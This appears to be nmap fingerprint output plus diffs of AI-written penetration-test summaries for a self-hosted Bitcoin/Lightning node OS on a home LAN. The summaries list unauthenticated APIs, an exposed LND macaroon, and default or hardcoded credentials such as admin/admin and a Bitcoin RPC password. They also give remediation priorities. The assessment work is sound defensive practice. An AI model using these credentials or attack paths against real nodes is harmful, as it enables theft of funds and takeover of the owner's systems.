SF:0\x20\x20\x20id=\"manifestPlaceholder\"\n\x20\x20\x20\x20\x20\x20crosso
SF:rigin=\"use-credentials\"\n\x20\x20\x20\x20/")%r(FourOhFourRequest,198D
SF:,"HTTP/1\.0\x20200\x20OK\r\nCache-Control:\x20no-cache,\x20no-store,\x2
SF:0must-revalidate\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nX-X
SF:ss-Protection:\x201;\x20mode=block\r\nDate:\x20Wed,\x2018\x20Mar\x20202
SF:6\x2011:29:51\x20GMT\r\n\r\n<!doctype\x20html>\n<html\x20lang=\"en\">\n
SF:\x20\x20<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\"\x20/>\n\x20\
SF:x20\x20\x20<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=edge
SF:\"\x20/>\n\x20\x20\x20\x20<meta\n\x20\x20\x20\x20\x20\x20name=\"viewpor
SF:t\"\n\x20\x20\x20\x20\x20\x20content=\"width=device-width,\x20initial-s
SF:cale=1,\x20user-scalable=no\"\n\x20\x20\x20\x20/>\n\n\x20\x20\x20\x20\n
SF:\n\x20\x20\x20\x20<title>\n\x20\x20\x20\x20\x20\x20File\x20Browser\n\x2
SF:0\x20\x20\x20</title>\n\n\x20\x20\x20\x20<link\n\x20\x20\x20\x20\x20\x2
SF:0rel=\"icon\"\n\x20\x20\x20\x20\x20\x20type=\"image/png\"\n\x20\x20\x20
SF:\x20\x20\x20sizes=\"32x32\"\n\x20\x20\x20\x20\x20\x20href=\"/static/img
SF:/icons/favicon-32x32\.png\"\n\x20\x20\x20\x20/>\n\x20\x20\x20\x20<link\
SF:n\x20\x20\x20\x20\x20\x20rel=\"icon\"\n\x20\x20\x20\x20\x20\x20type=\"i
SF:mage/png\"\n\x20\x20\x20\x20\x20\x20sizes=\"16x16\"\n\x20\x20\x20\x20\x
SF:20\x20href=\"/static/img/icons/favicon-16x16\.png\"\n\x20\x20\x20\x20/>
SF:\n\n\x20\x20\x20\x20<!--\x20Add\x20to\x20home\x20screen\x20for\x20Andro
SF:id\x20and\x20modern\x20mobile\x20browsers\x20-->\n\x20\x20\x20\x20<link
SF:\n\x20\x20\x20\x20\x20\x20rel=\"manifest\"\n\x20\x20\x20\x20\x20\x20id=
SF:\"manifestPlaceholder\"\n\x20\x20\x20\x20\x20\x20crossorigin=\"use-cred
SF:entials\"\n\x20\x20\x20\x20/");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8333-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB5%P=arm-apple-darwin23.6.0%r
SF:(RPCCheck,D99,"m\xfd;\x85\xbcu\x16\xe2u/A\xe0lEG\x91w\x88\x02\x92\xdaY\
SF:x8c\xb3E\x92\x98d\xe1\xab7\x87\xb6\x11&z\*\x0b\xf1dp\xb2\x838\xc5\x92\x
SF:0b\xc8\xb5\xab-\|\xf9\xdd\x12\xf1P\xab\xf3\xcc8\xf3\t\xf8\xae=\xea=/@v\
SF:xb1C\xca\xdd\xa7k\xd3\xab\xb4A\xc7w\+\x03\xc1\x01{:g\x98>\x02A\xe8\xe4\
SF:x7f~\+\xe1\xd4\xc0\xa3\xb3\$\xda\xf8\x04Xd\x80\xb2V\xd1Ngf\x96\x8d\xe3q
SF:'p\x06,\^\*\xc5\x11\xf0\?\x18\xbdO\xeb\xb0\xdbL\xfbHVSI\n\xea\xa0\xe4\x
SF:c0\xd0x\)\t\xf3Gw\xc1\xb9F\tH\x9dN\x83\x91\xe0\x16l\xc7\x1b\xfa\x9dp\xe
SF:0\x1ek\xba\xae>a\x1c-\?\x0e\x8b\x14\x02CV\x90\x1b\xc0\xed\xf7\x0c\xb1\x
SF:ea\xf2\xe9\xc2F\x8e\xe4D\xbd\xc0:\xf5s\t\x87k\xd2l\xe6\x98\x89dH\x85\x8
SF:1v\xd2\xb5\xa6\xc4\xe5u\xae\x06`\x003\(\.\xc6M\xbe\x9a\x95x\xd8\xdeg\xa
SF:d\xd6\xb0\xbf\x04\xb8n\xa2\x96\xf9\x84\xccrB\xe7\x97\x08\)\xc8\xb6\xa1\
SF:x89\xa5wk\xddN\x1c\xfa\xcf\xd0\x84\x18\x10\xd1Ex\xfe\x91\xa4\xd2d\xe4Pu
SF:V\x1fi\xc2\xd5\xfbh\*\x0c\x0fx\xdf\x97\xfeM\xdb\xa7Own\xa5\xb4\x99\x12\
SF:x04\x0c\]\xe2%\xee`\xd9\x98y\xa8\xd9J\xb0\xdf\0\xf4\\\x10\xc5\xef\x93n\
SF:xcfO\xc1\xd5\xeb7\xf8\x90\xcc\xab\xb0\x81\xb9\x06\xeb\xf0\xe2\x05\x19Ea
SF:\xc0\+jx\xec\xc5M\x85\x93\x17\x02\xe3\x8c\xc6\x94\x1e\xa3G\x06c\x18J\xc
SF:6\x0b\xdf\xfbq\$\xaa\x80\xd9\xc2\xf2\xbe\xf1U\x01\x90\xca\x9a\xb8I\xbf\
SF:xd1\xbe\x1dt\xbb\t\x1d\xdd\xb0d~\._\x11}\xb3\xfbp>Rw\*xG\xd9\x03xh\+\xd
SF:5\x96\x0c\xa7\xff\xc6\*\xbf\xd9d\xa5\xbe\x1b\xa9\xf5\xbb\x1a\xaeE\xfaaR
SF:V,Q\r\xc1\xd9\xc4\xdd\x8c\x20\"q\xc6\xc4\x7f\xe2\xac\x08M\x07Z\xc2u\x0c
SF:\xa4\x9fgA9\xad3\x03\xa4Pl\xa1\xa7\x96\x7fr\x135\+\xe8\xad\xed\xeai\xdc
SF:{M\.\xe6\xba\.\xa4\x9a\xbe\xd4\xea\xdf\xd9\xdd\x0c\xca\xf4\xdc\xc8t\xc1
SF:\x88\x9d\xa4W\x13\xec\x9e\xc33\xfbz\x18za\xc0\^\xb6\rbb6\xb5\x93\x87\x9
SF:d\x92\^\x8e\x87J\x8f\x10k\xf9\x16\xac'7\xd3\xec\]\xee\xdb\xfe@D\xc6Uz\x
SF:afQb\xefh\xc2e\xa2\xdfi\xed\xddK\xc5P\xff\xaa\x9c\xaf\x84Z!d\x9dta#\|\x
SF:d4\xb3\xcc4\x9by\xeaL\xac\xbc,\xe6\x01sL\x1c\xbb\xd7y3<%\xfe\xea8\x1e\x
SF:c1\xafE:\xff/\?\[\xd4\xdf\x07\*\xec\xe7\x18\xa8\x97\x9e\.'\.\xbc\x13\xd
SF:7w\xb4\xff\|'\.xm\x82\x8b\*\x19\xdd\x0cB\x81g_<\xdbx\xe6\xb9\xc1\xf9\x9
SF:ab\x9b\xdb\xdb\x02\+\x11\xa3\xcd\x17\xcae\x9d\x8b\xb5'\xfet\x9ey>\x9c\x
SF:8aO\xbd1\xc6\x1b\]g8,o\xe0\x0c@\xfe\xe3=\xeb\]\xfb\xb4\x92\xb7\[\xa3`\x
SF:c7I\xeey\xbb\xa0\xc0y\x1f\xef,\x0c\xe2\x17\xba\x84\xb9v\xd9\\\xbcP\x9ci
SF:\xeb\t\x958\x1d\x92\xe9\xd9\0\xed<\x97\\\xd0\x01\xe6\x91\x97\xc8Q\xe1\[
SF:\xf2\xe1\xd0\x80\xd4~k8\xbb\x04\x82B>\xfch{1\xe8\x9b\xf8\xfb\xa8\xdd\xe
SF:9\x040MF-ID`\x0f\x8a\xccv\[9q\xee\x8c\xaa\xed\xa1\xed\x80\x06Fp\t0\xc1\
SF:]C\x13\rj\nD0\x08\xa0\xdfS\xa0\xa6\xdc\xd8\xe9\xe2\xd24k\xfc\xda\xcb#d\
SF:xdcW\xf6\xd2\xc4P\xbf\x03\x88\xe4\x89\xe5\x16\xf6K\x8b\xdad\xf3:\x0f\xd
SF:0\xedI\x03\x99\xfa\x87\x18\xdb\x8b\xa3\xbc\xce\xe2\x85k\xda\xefD\x8am\x
SF:85\x80zqW\xef\x9b\0\x0bM\x07\x1c\x0e");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8888-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB0%P=arm-apple-darwin23.6.0%r
SF:(GetRequest,19CD,"HTTP/1\.0\x20200\x20OK\r\ncontent-type:\x20text/html;
SF:\x20charset=utf-8\r\ncontent-length:\x206292\r\nserver-timing:\x20total
SF:;dur=176\.925,\x20render;dur=154\.939\r\nx-content-type-options:\x20nos
SF:niff\r\nx-download-options:\x20noopen\r\nx-robots-tag:\x20noindex,\x20n
SF:ofollow\r\nreferrer-policy:\x20no-referrer\r\nserver:\x20granian\r\ndat
SF:e:\x20Wed,\x2018\x20Mar\x202026\x2011:29:51\x20GMT\r\n\r\n<!DOCTYPE\x20
SF:html>\n<html\x20class=\"no-js\x20theme-auto\x20center-alignment-no\"\x2
SF:0lang=\"en-EN\"\x20>\n<head>\n\x20\x20<meta\x20charset=\"UTF-8\">\n\x20
SF:\x20<meta\x20name=\"endpoint\"\x20content=\"index\">\n\x20\x20<meta\x20
SF:name=\"description\"\x20content=\"SearXNG\x20\xe2\x80\x94\x20a\x20priva
SF:cy-respecting,\x20open\x20metasearch\x20engine\">\n\x20\x20<meta\x20nam
SF:e=\"keywords\"\x20content=\"SearXNG,\x20search,\x20search\x20engine,\x2
SF:0metasearch,\x20meta\x20search\">\n\x20\x20<meta\x20name=\"generator\"\
SF:x20content=\"searxng/2026\.2\.3\+f7a608703\">\n\x20\x20<meta\x20name=\"
SF:referrer\"\x20content=\"no-referrer\">\n\x20\x20<meta\x20name=\"robots\
SF:"\x20content=\"noarchive\">\n\x20\x20<meta\x20name=\"viewport\"\x20cont
SF:ent=\"width=device-width,\x20initial-scale=1\">\n\x20\x20<title>SearXNG
SF:</titl")%r(HTTPOptions,14F,"HTTP/1\.0\x20200\x20OK\r\ncontent-type:\x20
SF:text/html;\x20charset=utf-8\r\nallow:\x20GET,\x20POST,\x20OPTIONS,\x20H
SF:EAD\r\nserver-timing:\x20total;dur=1\.056,\x20render;dur=0\r\nx-content
SF:-type-options:\x20nosniff\r\nx-download-options:\x20noopen\r\nx-robots-
SF:tag:\x20noindex,\x20nofollow\r\nreferrer-policy:\x20no-referrer\r\ncont
SF:ent-length:\x200\r\nserver:\x20granian\r\ndate:\x20Wed,\x2018\x20Mar\x2
SF:02026\x2011:29:51\x20GMT\r\n\r\n")%r(FourOhFourRequest,13A3,"HTTP/1\.0\
SF:x20404\x20Not\x20Found\r\ncontent-type:\x20text/html;\x20charset=utf-8\
SF:r\ncontent-length:\x204711\r\nserver-timing:\x20total;dur=5\.729,\x20re
SF:nder;dur=4\.335\r\nx-content-type-options:\x20nosniff\r\nx-download-opt
SF:ions:\x20noopen\r\nx-robots-tag:\x20noindex,\x20nofollow\r\nreferrer-po
SF:licy:\x20no-referrer\r\nserver:\x20granian\r\ndate:\x20Wed,\x2018\x20Ma
SF:r\x202026\x2011:29:51\x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20class=
SF:\"no-js\x20theme-auto\x20center-alignment-no\"\x20lang=\"en-EN\"\x20>\n
SF:<head>\n\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20<meta\x20name=\"en
SF:dpoint\"\x20content=\"None\">\n\x20\x20<meta\x20name=\"description\"\x2
SF:0content=\"SearXNG\x20\xe2\x80\x94\x20a\x20privacy-respecting,\x20open\
SF:x20metasearch\x20engine\">\n\x20\x20<meta\x20name=\"keywords\"\x20conte
SF:nt=\"SearXNG,\x20search,\x20search\x20engine,\x20metasearch,\x20meta\x2
SF:0search\">\n\x20\x20<meta\x20name=\"generator\"\x20content=\"searxng/20
SF:26\.2\.3\+f7a608703\">\n\x20\x20<meta\x20name=\"referrer\"\x20content=\
SF:"no-referrer\">\n\x20\x20<meta\x20name=\"robots\"\x20content=\"noarchiv
SF:e\">\n\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-widt
SF:h,\x20initial-scale=1\">\n\x20\x20<title>SearXNG</ti");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port9000-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB0%P=arm-apple-darwin23.6.0%r
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(GetRequest,CE,"HTTP/1\.0\x20307\x20Temporary\x20Redire
SF:ct\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nLocation:\x20/tim
SF:eout\.html\r\nDate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:51\x20GMT\r\n
SF:Content-Length:\x2049\r\n\r\n<a\x20href=\"/timeout\.html\">Temporary\x2
SF:0Redirect</a>\.\n\n")%r(HTTPOptions,74,"HTTP/1\.0\x20307\x20Temporary\x
SF:20Redirect\r\nLocation:\x20/timeout\.html\r\nDate:\x20Wed,\x2018\x20Mar
SF:\x202026\x2011:29:51\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPReq
SF:uest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/pl
SF:ain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Requ
SF:est")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x2
SF:0text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad
SF:\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\
SF:r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,109,"HTTP/1\.0\x2040
SF:4\x20Not\x20Found\r\nCache-Control:\x20max-age=31536000\r\nContent-Type
SF::\x20text/plain;\x20charset=utf-8\r\nVary:\x20Accept-Encoding\r\nX-Cont
SF:ent-Type-Options:\x20nosniff\r\nX-Xss-Protection:\x201;\x20mode=block\r
SF:\nDate:\x20Wed,\x2018\x20Mar\x202026\x2011:30:09\x20GMT\r\nContent-Leng
SF:th:\x2019\r\n\r\n404\x20page\x20not\x20found\n")%r(LPDString,67,"HTTP/1
SF:\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset
SF:=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SIPOpti
SF:ons,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/pla
SF:in;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reque
SF:st")%r(Socks5,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(OfficeScan,A3,"HTTP/1\.1\x20400\x20Bad\x20Request:\x20
SF:missing\x20required\x20Host\x20header\r\nContent-Type:\x20text/plain;\x
SF:20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request:\x
SF:20missing\x20required\x20Host\x20header");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Mar 18 11:32:28 2026 -- 1 IP address (1 host up) scanned in 163.96 seconds

View File

@@ -1,14 +1,26 @@
Not critical — those app proxy paths were already confirmed through other probes. The full attack surface analysis is complete above.
Written to `loop/pentest/recon/attack-surface-analysis.md`. Here's the executive summary:
**Summary of critical findings:**
## 3 Critical Findings
1. **Zero authentication on the entire RPC API** — every method callable by anyone on the network
2. **Arbitrary container image execution**`package.install` pulls and runs any Docker image
3. **Cryptographic key abuse**`node.signChallenge` signs arbitrary data without auth (confirmed with live signature)
4. **FileBrowser full access via default credentials**`admin/admin` confirmed working with admin JWT
5. **Unauthenticated Claude API proxy** — free API usage at owner's expense (confirmed)
6. **P2P message injection** — spoofed messages already present in the message store
7. **CORS wildcard** on all endpoints enables drive-by attacks from any website
8. **Backend runs as root** with dev mode enabled in production
1. **`/lnd-connect-info` exposes full LND admin macaroon** — unauthenticated, CORS `*`. Anyone on the LAN gets complete Lightning node control (send payments, drain channels). Confirmed live.
The most urgent remediation is wiring authentication middleware into the `core/archipelago` handler — the session infrastructure exists in `core/startos/` but is **not connected** to the active backend's request pipeline.
2. **Bitcoin RPC proxy on :8334 with hardcoded creds** (`archipelago:archipelago123`) — confirmed full mainnet `getblockchaininfo` works. If wallet is loaded, attacker can send transactions and export keys.
3. **Grafana default `admin:admin` on port 3000** — confirmed full admin access. Can query data sources and potentially pivot.
## 3 High Findings
4. **`/content` leaks personal file catalog** (names, sizes, UUIDs) without auth
5. **Nginx Proxy Manager (port 81)** directly accessible with `setup: false` state
6. **Multiple service ports (3000, 3001, 7777, 8080, 9000)** bypass nginx proxy auth
## Key Positives
- Login rate limiting works (triggers at 5 attempts)
- CORS properly rejects unauthorized origins
- Session management is solid (256-bit tokens, HttpOnly, SameSite=Strict)
- Path traversal mitigated (/.git, /.env not exposed)
- Security headers comprehensive (HSTS, CSP, X-Frame-Options)
- Bcrypt + Argon2id + ChaCha20 crypto stack is production-grade
The report covers **150+ RPC methods**, **30+ nginx proxy routes**, **10+ direct port services**, and all authentication mechanisms with confirmed live probes.

View File

@@ -0,0 +1 @@
http://192.168.1.228 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.22.1], IP[192.168.1.228], Script[module], Strict-Transport-Security[max-age=31536000; includeSubDomains], Title[Archipelago OS], UncommonHeaders[x-content-type-options,referrer-policy,permissions-policy,x-dns-prefetch-control,content-security-policy], X-Frame-Options[SAMEORIGIN], nginx[1.22.1]

View File

@@ -1,12 +1,16 @@
Report written to `loop/pentest/security-assessment-report.md`.
**Summary of what's in the report:**
**Summary: 27 findings** (8 Critical, 10 High, 6 Medium, 3 Low)
- **21 confirmed findings** across 4 severity levels (6 Critical, 7 High, 5 Medium, 3 Low)
- Full exploitation evidence with request/response pairs for every finding
- Root cause analysis showing AUTH-001 (no session management) as the single point of failure — fixing it blocks 15 of 21 findings
- A documented attack chain demonstrating full node takeover in 6 curl commands
- Prioritized remediation table (P0 within 48 hours through P2 within 1 month)
- Appendix with excluded findings, technology inventory, and dependency tree of vulnerabilities
The report includes:
The most critical takeaway: the existing session middleware in `core/startos/src/middleware/auth.rs` just needs to be wired into `core/archipelago/`'s HTTP handler. That single integration addresses the root cause of nearly every finding.
- **Executive summary** with overall CRITICAL rating and top 3 recommendations
- **Scope and methodology** covering nmap, source review, and live exploitation
- **Full findings table** — 21 exploitation-confirmed + 6 recon-confirmed
- **Detailed findings** — each with evidence (curl commands + responses), impact, and OWASP mapping
- **Critical attack chain** — 7-step full compromise from any LAN device, zero auth
- **Prioritized recommendations** — 20 remediation items across P0/P1/P2
- **Positive security controls** — bcrypt, TOTP, session tokens, container security noted
- **Appendices** — port inventory, container list, root cause tree, OWASP mapping, non-exploitable exclusions
The root cause is AUTH-001 (no session management). Fixing it addresses 15 of 27 findings. Combined with credential lockdown and port binding, 23 of 27 are resolved.

File diff suppressed because it is too large Load Diff